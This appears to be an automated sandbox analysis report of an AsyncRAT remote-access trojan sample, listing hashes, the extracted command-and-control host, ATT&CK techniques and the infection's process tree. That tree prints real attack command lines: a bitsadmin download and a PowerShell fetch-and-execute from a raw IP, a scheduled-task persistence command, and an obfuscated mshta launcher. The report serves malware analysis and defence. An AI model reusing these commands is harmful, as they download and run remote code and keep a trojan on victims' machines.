asyncrat | a1b2dc89cf53829809078cfa4961df67321fdb9323fe9f10b310120d6b9aab5a

Analysis

max time kernel
119s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2023, 16:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
document.js
Size 12KB
Sample230327-t1g8csgd21
SHA256 a1b2dc89cf53829809078cfa4961df67321fdb9323fe9f10b310120d6b9aab5a
MD5 4c68ce2c82c149bf635a6889f8ab79ee
SHA1 1459605f639de1549ac2a017f40901bad14e075f
SHA512 c21aa6e314388cc166ac58f159fe222559f7657d2709be2d1e217c50bd14d6fd7f6eeb0bccde0d82da0f74abb9d40f49eb54dd4a404f2f8c49ea88fc0095e0e4
SSDEEP 192:sLpZZb71ltuYf+EKTnC0hIJcvTMC4rAVl//iNlIucYiiwFH2+Nbdq0w:O7Y1TnCWKcvTAud/CO3iwFH2+Na
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

Default

xxxprofxxx.dnsdojo.com:5126

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3012-176-0x0000000000400000-0x0000000000414000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	4444	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3440 set thread context of 3012	3440	powershell.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5080	schtasks.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
448	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4444	powershell.exe
4444	powershell.exe
3440	powershell.exe
3440	powershell.exe
3012	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4444	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	3012	RegSvcs.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3012	RegSvcs.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4568 wrote to memory of 448	4568	wscript.exe	83
PID 4568 wrote to memory of 448	4568	wscript.exe	83
PID 4568 wrote to memory of 3940	4568	wscript.exe	90
PID 4568 wrote to memory of 3940	4568	wscript.exe	90
PID 3940 wrote to memory of 4444	3940	wscript.exe	91
PID 3940 wrote to memory of 4444	3940	wscript.exe	91
PID 4444 wrote to memory of 5080	4444	powershell.exe	96
PID 4444 wrote to memory of 5080	4444	powershell.exe	96
PID 4808 wrote to memory of 4788	4808	WScript.exe	99
PID 4808 wrote to memory of 4788	4808	WScript.exe	99
PID 4788 wrote to memory of 400	4788	cmd.exe	101
PID 4788 wrote to memory of 400	4788	cmd.exe	101
PID 972 wrote to memory of 3240	972	cmd.exe	103
PID 972 wrote to memory of 3240	972	cmd.exe	103
PID 3240 wrote to memory of 3440	3240	mshta.exe	104
PID 3240 wrote to memory of 3440	3240	mshta.exe	104
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106
PID 3440 wrote to memory of 3012	3440	powershell.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\document.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4568
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://185.252.178.121:222/no.txt C:\Users\Admin\AppData\Local\Temp\emp
  2⤵
  - Download via BitsAdmin
  PID:448
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\emp
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} http://185.252.178.121:222/note.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn Screenshot /tr C:\ProgramData\Document\Screenshot.vbs
      4⤵
      Creates scheduled task(s)
      PID:5080

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\ProgramData\Document\Screenshot.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command C:\ProgramData\Document\Microsoft.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command C:\ProgramData\Document\Microsoft.bat
    3⤵
    PID:400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Document\Microsoft.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:972
    - - C:\Windows\system32\mshta.exe
        
        mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powe"+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+"rshell -Execu"+"tionP"+"olicy"+" Bypass & 'C:\ProgramData\Document\py.ps1'"", 0:close")
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3240
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\ProgramData\Document\py.ps1'
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3440
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

BITS Jobs

T1197

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Microsoft.bat

Path C:\ProgramData\Document\Microsoft.bat
Size 272B
SHA256 146b6f80e49562c0e3e45295a9c78ce1f8a0460e997716103e030b5f304e1a3d
MD5 9baaf1099996241de9c906be2aa43ae1
SHA1 9e5bc0308f4610a3870732f4c9cf707fe5cc7434
SHA512 9218c8739eda384c23ba9cc3ae36b46b32ad424bc6275fc9126104f376be0fd5289b0e1eebcf29835c217c780bfb578131ba05fc5e90a3ebba0f67288d4937e1
MD5 SHA1 SHA512

Submit Download

Screenshot.vbs

Path C:\ProgramData\Document\Screenshot.vbs
Size 284B
SHA256 77fd082f3c8d4eb04e3617b67e677ff68b64f40f134a4c5eaddf434ff70e7fa3
MD5 ae4b03684ec5b3b2604f85d87006ec1a
SHA1 7c280d5596e01cd1a0b10abbf3a30711a3e1ff42
SHA512 3ad4610f21a7cfe7b44677838f2277b9c48e53b4079b29c7a97c82acd86571b0a896cdbe032689cead5c65ad0fae94cf78258995be8e0cd77721adec260e4c9a
MD5 SHA1 SHA512

Submit Download

py.ps1

Path C:\ProgramData\Document\py.ps1
Size 203KB
SHA256 3de56e5744abaa936bd4b1be851b79afa588efc31fb91f8bc3a9e94b033521a6
MD5 e25c419a23c5a0dcbe89e92805594a56
SHA1 c2b43aba4eaa87d3a1f4782a16987bf9f814f680
SHA512 4a1837127dbb0bddeb1fced486befa2126e14255c88ecc6d32d67305d9dc544d293c4d4ec83999681c55e4b23104856e683984d46edb2200f69bbc70d5188667
SSDEEP 3072:3TPTwLhFrOBsc4VsTKkcU/DNv9O9dIaRBniWM5QBpDowmGcAk3Apc:/wLKpKkcUbNv9O8SBnU8owmGcAk3Apc
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 27a3015931d1f72ce982cf8f9d38dc99219ea2bb9bda4ec7b09dca9bd1122e9e
MD5 693baf43e3d5fefa0883380c7a77c69a
SHA1 f3e6115432504e8bd401d8c0ff2da43e708707e5
SHA512 29c5e093f3f86c38246fe5f1c5d6110f315937916f139289f52dbbb1e67d4f5f46e4cc928ff03ce19b91cf1d8310d40dadc65812399829da8c94f0c6f9e3f5cc
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_vi3nc0cd.kmr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vi3nc0cd.kmr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3012-179-0x0000000005A90000-0x0000000006034000-memory.dmp

Download

memory/3012-176-0x0000000000400000-0x0000000000414000-memory.dmp

Download

memory/3012-184-0x0000000001030000-0x0000000001040000-memory.dmp

Download

memory/3012-183-0x0000000006180000-0x00000000061E6000-memory.dmp

Download

memory/3012-182-0x0000000006220000-0x00000000062BC000-memory.dmp

Download

memory/3012-181-0x00000000056B0000-0x00000000056BA000-memory.dmp

Download

memory/3012-180-0x00000000056C0000-0x0000000005752000-memory.dmp

Download

memory/3012-178-0x0000000001030000-0x0000000001040000-memory.dmp

Download

memory/3440-175-0x000002894AE90000-0x000002894AEA0000-memory.dmp

Download

memory/3440-174-0x000002894AE90000-0x000002894AEA0000-memory.dmp

Download

memory/3440-173-0x000002894AE90000-0x000002894AEA0000-memory.dmp

Download

memory/4444-154-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

Download

memory/4444-133-0x000001ED50700000-0x000001ED50722000-memory.dmp

Download

memory/4444-143-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

Download

memory/4444-144-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

Download

memory/4444-145-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

Download

memory/4444-152-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

Download

memory/4444-153-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

Download